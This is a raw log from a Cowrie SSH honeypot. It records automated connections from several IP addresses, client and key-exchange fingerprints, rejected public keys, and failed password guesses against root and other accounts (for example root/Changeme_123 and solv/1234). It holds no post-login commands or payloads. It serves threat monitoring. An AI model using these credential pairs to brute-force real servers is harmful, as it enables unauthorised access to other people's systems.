{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"09:d7:e4:7d:cf:ee:69:83:71:1f:7c:ad:6d:41:f5:46","key":"ssh-dss AAAAB3NzaC1kc3MAAACBAJODrbtJZaAXt3QZ8irY21efxOGXCMlDuJfBUJjfxXj1/fk5x9VENqnD1XhHsL3aYoI0pvQyke+aKLmQtNMXsfyV5SJwyyADQCwcc3sBNntFPQDVImnvRRmlz0Yz+PdWc8Hz0wGGWohh8kmDBEtcLoPlPBLLAqOdv7LnMw7SBF/vAAAAFQCetG9+RruL5+TeSSJNSiW85C5jswAAAIA9Z7qfiHNRz38NiuNZdqPEfW7gZbz8jpOM/E8brTl0YFysFqYt7C9EiiN2du4bsSUEoTtnciAiSoJpeN/YsRjSEO/FyaVJ4O4jz7l7ZJtb70pzob8kwW3+7H2E6RVu8auKphoU+lzqbwaXkHFc8MLwz79ShBjbwf15UmoC034XEgAAAIAjKLaMb5tXZyrObro9OQ0pkOyDTgnUjKh2KKI1qSOWB1sGG12GiZh8VwcQeRuABpBcgo8UoBBK7xb1nM4r6YZb/CWa4zspFvzs2P9uLFHipVgVT9qhnSz5gfrBzBcL7czSeTxY4wr/h2nUIFRflK658CF0eOc4BAUrgagdx9hZIQ==","type":"ssh-dss","message":"public key attempt for user root of type ssh-dss with fingerprint 09:d7:e4:7d:cf:ee:69:83:71:1f:7c:ad:6d:41:f5:46","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:30:43.241801Z","src_ip":"192.250.235.126","session":"be9e635f26aa","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"09:d7:e4:7d:cf:ee:69:83:71:1f:7c:ad:6d:41:f5:46","key":"ssh-dss AAAAB3NzaC1kc3MAAACBAJODrbtJZaAXt3QZ8irY21efxOGXCMlDuJfBUJjfxXj1/fk5x9VENqnD1XhHsL3aYoI0pvQyke+aKLmQtNMXsfyV5SJwyyADQCwcc3sBNntFPQDVImnvRRmlz0Yz+PdWc8Hz0wGGWohh8kmDBEtcLoPlPBLLAqOdv7LnMw7SBF/vAAAAFQCetG9+RruL5+TeSSJNSiW85C5jswAAAIA9Z7qfiHNRz38NiuNZdqPEfW7gZbz8jpOM/E8brTl0YFysFqYt7C9EiiN2du4bsSUEoTtnciAiSoJpeN/YsRjSEO/FyaVJ4O4jz7l7ZJtb70pzob8kwW3+7H2E6RVu8auKphoU+lzqbwaXkHFc8MLwz79ShBjbwf15UmoC034XEgAAAIAjKLaMb5tXZyrObro9OQ0pkOyDTgnUjKh2KKI1qSOWB1sGG12GiZh8VwcQeRuABpBcgo8UoBBK7xb1nM4r6YZb/CWa4zspFvzs2P9uLFHipVgVT9qhnSz5gfrBzBcL7czSeTxY4wr/h2nUIFRflK658CF0eOc4BAUrgagdx9hZIQ==","type":"ssh-dss","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:30:43.245215Z","src_ip":"192.250.235.126","session":"be9e635f26aa","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"e0:d1:90:47:17:28:8b:83:c8:10:6e:68:64:80:2d:b8","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC96G7Vn2yyenNfZ7BitvvNH6qdySrFK55BTmz2DaYb5rVKpcd0JW1Fur4FfBNaKLovA6aioGBwxHT/oF27DoIYbGCUsQnXN6p1eI1jBHwusL267qs2IOQsXOfizEk2e5jYS6vKy1u9HFF3pHlV9kEhhHyhvJF3dqz32q8+tIE1GiG6rhxOQEMKC7a+yHa5/Q9O5gUB+W+lDxAvZyrViLXxamGt44JuzS+RDLQ1PXfbA1jGf97QQ2AFsblGTV53Nx9JPRUC73B1iE8rIyWJtJxCeNFyadOBnjqSsZpuBvPrdvb1VeMoDi5QcKo6dNWp9yqe/KJDg9P3hJ9lERklBh0X","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint e0:d1:90:47:17:28:8b:83:c8:10:6e:68:64:80:2d:b8","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:30:43.494429Z","src_ip":"192.250.235.126","session":"be9e635f26aa","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"e0:d1:90:47:17:28:8b:83:c8:10:6e:68:64:80:2d:b8","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC96G7Vn2yyenNfZ7BitvvNH6qdySrFK55BTmz2DaYb5rVKpcd0JW1Fur4FfBNaKLovA6aioGBwxHT/oF27DoIYbGCUsQnXN6p1eI1jBHwusL267qs2IOQsXOfizEk2e5jYS6vKy1u9HFF3pHlV9kEhhHyhvJF3dqz32q8+tIE1GiG6rhxOQEMKC7a+yHa5/Q9O5gUB+W+lDxAvZyrViLXxamGt44JuzS+RDLQ1PXfbA1jGf97QQ2AFsblGTV53Nx9JPRUC73B1iE8rIyWJtJxCeNFyadOBnjqSsZpuBvPrdvb1VeMoDi5QcKo6dNWp9yqe/KJDg9P3hJ9lERklBh0X","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:30:43.497638Z","src_ip":"192.250.235.126","session":"be9e635f26aa","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"66:88:b5:d7:45:ff:9d:33:95:9d:91:65:17:03:5a:c6","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCxsB8jDXVqptRnN8wbTWgb3jkDtnfDNqhRNs8vJz2pyUBWltkQveAniacnTTc9oZZCsOw5TNJ9DcJXUrTL+cR3EenFmkKMsfsa5bn/6sVTM0VifwPjRYHurUlCVjDe82GhyQBt5jhmEcqed7o6G7OwvecSirS6UFv32VfeYCqTdn3AoL75HRenObyzzO/f3Tjv3wXKOkFo5iL7crmC2Vlfsjw5CYjLyGQ7x6jQnJIw1+/AB7aSPttosnD541tP+k1TBBGMfXfwBNMCDdKIDgd422tz9ew7B9YLX905NXjBfTWmFCpUUtq3M8enWBr3bA4OA9m5TA1yKOxha/xIwCNssxzqI/Ewm35iSx6rp8SHsEI4OipTBblgExYzqvCXE0a/bSJ7eY8Lj5tg6wfacs8sc55v+Gmw0QCAK81SylwW7cPqsuw8V+Bm9KTuryfLsA9CMld0/bCsXLMneQgwyge28bmNhb0Qge2i2ZjmLYaYNdAxhB3BmP3wzZ8PLC5A/Xq9vj4Ms6to9WER/48zIGoK/Cn8aCQEtUnPqY94fubkgdksfDMmf0vG5FuNPuL3QoOieH4YYJEdNn/MTS6r6mTzOxGFy8MblBY79ozWdvfcaDmhd6KH9jKMweDltLg3/BNUtxU3vyVEx/5cn3z5hsDPjmziDVuFbuyDXl5vEvKxPQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 66:88:b5:d7:45:ff:9d:33:95:9d:91:65:17:03:5a:c6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:30:43.746241Z","src_ip":"192.250.235.126","session":"be9e635f26aa","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"66:88:b5:d7:45:ff:9d:33:95:9d:91:65:17:03:5a:c6","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCxsB8jDXVqptRnN8wbTWgb3jkDtnfDNqhRNs8vJz2pyUBWltkQveAniacnTTc9oZZCsOw5TNJ9DcJXUrTL+cR3EenFmkKMsfsa5bn/6sVTM0VifwPjRYHurUlCVjDe82GhyQBt5jhmEcqed7o6G7OwvecSirS6UFv32VfeYCqTdn3AoL75HRenObyzzO/f3Tjv3wXKOkFo5iL7crmC2Vlfsjw5CYjLyGQ7x6jQnJIw1+/AB7aSPttosnD541tP+k1TBBGMfXfwBNMCDdKIDgd422tz9ew7B9YLX905NXjBfTWmFCpUUtq3M8enWBr3bA4OA9m5TA1yKOxha/xIwCNssxzqI/Ewm35iSx6rp8SHsEI4OipTBblgExYzqvCXE0a/bSJ7eY8Lj5tg6wfacs8sc55v+Gmw0QCAK81SylwW7cPqsuw8V+Bm9KTuryfLsA9CMld0/bCsXLMneQgwyge28bmNhb0Qge2i2ZjmLYaYNdAxhB3BmP3wzZ8PLC5A/Xq9vj4Ms6to9WER/48zIGoK/Cn8aCQEtUnPqY94fubkgdksfDMmf0vG5FuNPuL3QoOieH4YYJEdNn/MTS6r6mTzOxGFy8MblBY79ozWdvfcaDmhd6KH9jKMweDltLg3/BNUtxU3vyVEx/5cn3z5hsDPjmziDVuFbuyDXl5vEvKxPQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:30:43.750093Z","src_ip":"192.250.235.126","session":"be9e635f26aa","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.130.16.4","src_port":36814,"dst_ip":"159.203.135.109","dst_port":22,"session":"85b39b41cda8","protocol":"ssh","message":"New connection: 43.130.16.4:36814 (159.203.135.109:22) [session: 85b39b41cda8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:30:43.861789Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:30:43.866419Z","src_ip":"43.130.16.4","session":"85b39b41cda8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:30:43.935247Z","src_ip":"43.130.16.4","session":"85b39b41cda8","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"00:75:2b:9e:63:e1:b2:96:7b:b1:4f:95:3f:be:78:d1","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDu4DYsVSJ3uMCbs5FaC6tOvsj2fZWvaHs1UggcO3X3iWvfUax376PraiMdH14uetXuDu84PVZU+aJBbs/rJMm0dkDVPS/+Fhk8IGPtec4n//f2nQGU+OptEWZ2PYNGeoA103LWWtacDhJzVK4rJza2j1SiGDVG+4d6kxs73Dfm4IQCocMJJzaTSjX7PgAb+g6XJOV8zyH9K8y/hM6pL8Tbj1Qfb0x4FXqNA+qFPSyQlWXUiW8Nfvr2NhlhbPu1J2apMl+MLlB4mEA1R8bckRP9ETExXTy3DD+v0zj1HPZWIoOe+zOOgRwP/FLNfgcGZ6ZaysJ6VESHnsYbDxSeTEwr","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 00:75:2b:9e:63:e1:b2:96:7b:b1:4f:95:3f:be:78:d1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:30:44.003888Z","src_ip":"192.250.235.126","session":"be9e635f26aa","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"00:75:2b:9e:63:e1:b2:96:7b:b1:4f:95:3f:be:78:d1","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDu4DYsVSJ3uMCbs5FaC6tOvsj2fZWvaHs1UggcO3X3iWvfUax376PraiMdH14uetXuDu84PVZU+aJBbs/rJMm0dkDVPS/+Fhk8IGPtec4n//f2nQGU+OptEWZ2PYNGeoA103LWWtacDhJzVK4rJza2j1SiGDVG+4d6kxs73Dfm4IQCocMJJzaTSjX7PgAb+g6XJOV8zyH9K8y/hM6pL8Tbj1Qfb0x4FXqNA+qFPSyQlWXUiW8Nfvr2NhlhbPu1J2apMl+MLlB4mEA1R8bckRP9ETExXTy3DD+v0zj1HPZWIoOe+zOOgRwP/FLNfgcGZ6ZaysJ6VESHnsYbDxSeTEwr","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:30:44.008405Z","src_ip":"192.250.235.126","session":"be9e635f26aa","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"pass@123","message":"login attempt [root/pass@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:30:44.240540Z","src_ip":"43.130.16.4","session":"85b39b41cda8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:30:44.258546Z","src_ip":"192.250.235.126","session":"be9e635f26aa","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:30:45.315581Z","src_ip":"43.130.16.4","session":"85b39b41cda8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.153.39.191","src_port":60962,"dst_ip":"159.203.135.109","dst_port":22,"session":"6ef2984d74f9","protocol":"ssh","message":"New connection: 43.153.39.191:60962 (159.203.135.109:22) [session: 6ef2984d74f9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:30:54.357229Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:30:54.361615Z","src_ip":"43.153.39.191","session":"6ef2984d74f9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:30:54.433130Z","src_ip":"43.153.39.191","session":"6ef2984d74f9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"261979","message":"login attempt [root/261979] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:30:54.739315Z","src_ip":"43.153.39.191","session":"6ef2984d74f9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.238","src_port":45760,"dst_ip":"159.203.135.109","dst_port":22,"session":"9b1dbd7d6626","protocol":"ssh","message":"New connection: 2.57.122.238:45760 (159.203.135.109:22) [session: 9b1dbd7d6626]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:30:55.050426Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:30:55.055557Z","src_ip":"2.57.122.238","session":"9b1dbd7d6626","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:30:55.156647Z","src_ip":"2.57.122.238","session":"9b1dbd7d6626","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solv","password":"1234","message":"login attempt [solv/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:30:55.460298Z","src_ip":"2.57.122.238","session":"9b1dbd7d6626","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:30:55.810772Z","src_ip":"43.153.39.191","session":"6ef2984d74f9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:30:56.564345Z","src_ip":"2.57.122.238","session":"9b1dbd7d6626","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"181.47.9.103","src_port":59080,"dst_ip":"159.203.135.109","dst_port":22,"session":"ceadda8dab14","protocol":"ssh","message":"New connection: 181.47.9.103:59080 (159.203.135.109:22) [session: ceadda8dab14]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:31:17.602703Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:31:17.608278Z","src_ip":"181.47.9.103","session":"ceadda8dab14","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:31:17.757404Z","src_ip":"181.47.9.103","session":"ceadda8dab14","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Changeme_123","message":"login attempt [root/Changeme_123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:31:18.361871Z","src_ip":"181.47.9.103","session":"ceadda8dab14","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:31:19.508196Z","src_ip":"181.47.9.103","session":"ceadda8dab14","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.219.170.37","src_port":65076,"dst_ip":"159.203.135.109","dst_port":22,"session":"f31876eb159d","protocol":"ssh","message":"New connection: 103.219.170.37:65076 (159.203.135.109:22) [session: f31876eb159d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:31:19.986728Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:31:19.991110Z","src_ip":"103.219.170.37","session":"f31876eb159d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:31:20.062028Z","src_ip":"103.219.170.37","session":"f31876eb159d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"admin2015","message":"login attempt [root/admin2015] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:31:20.276407Z","src_ip":"103.219.170.37","session":"f31876eb159d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:31:21.351697Z","src_ip":"103.219.170.37","session":"f31876eb159d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.121.112","src_port":32953,"dst_ip":"159.203.135.109","dst_port":22,"session":"473859e6bf95","protocol":"ssh","message":"New connection: 2.57.121.112:32953 (159.203.135.109:22) [session: 473859e6bf95]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:31:28.779486Z"}
